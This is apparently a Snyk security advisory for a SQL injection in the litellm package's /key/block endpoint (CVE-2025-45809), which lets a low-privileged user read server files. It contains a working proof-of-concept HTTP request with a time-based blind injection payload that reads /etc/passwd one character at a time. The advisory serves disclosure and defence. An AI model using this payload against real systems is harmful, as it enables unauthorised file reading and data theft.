SQL Injection Affecting litellm package, versions [1.48.18,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-LITELLM-10598343
- published4 Jul 2025
- disclosed3 Jul 2025
- creditshadia0
Introduced: 3 Jul 2025
NewCVE-2025-45809 (opens in a new tab)How to fix?
There is no fixed version for litellm.
Overview
litellm is a Library to easily interface with LLM API providers
Affected versions of this package are vulnerable to SQL Injection via the /key/block endpoint. A proxy_admin_viewer user can retrieve the contents of arbitrary files on the target filesystem by brute forcing them one character at a time.
PoC
POST /key/block HTTP/1.1
Host: 127.0.0.1:4000
Content-Length: 115
Authorization: Bearer sk-5pUqaVXkY6DaR1zEKKnwwA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Content-Type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{
"key": "1'|| CASE WHEN pg_read_file('/etc/passwd', 0, 1) = 'r' THEN pg_sleep(10) ELSE pg_sleep(0) END; -- -"
}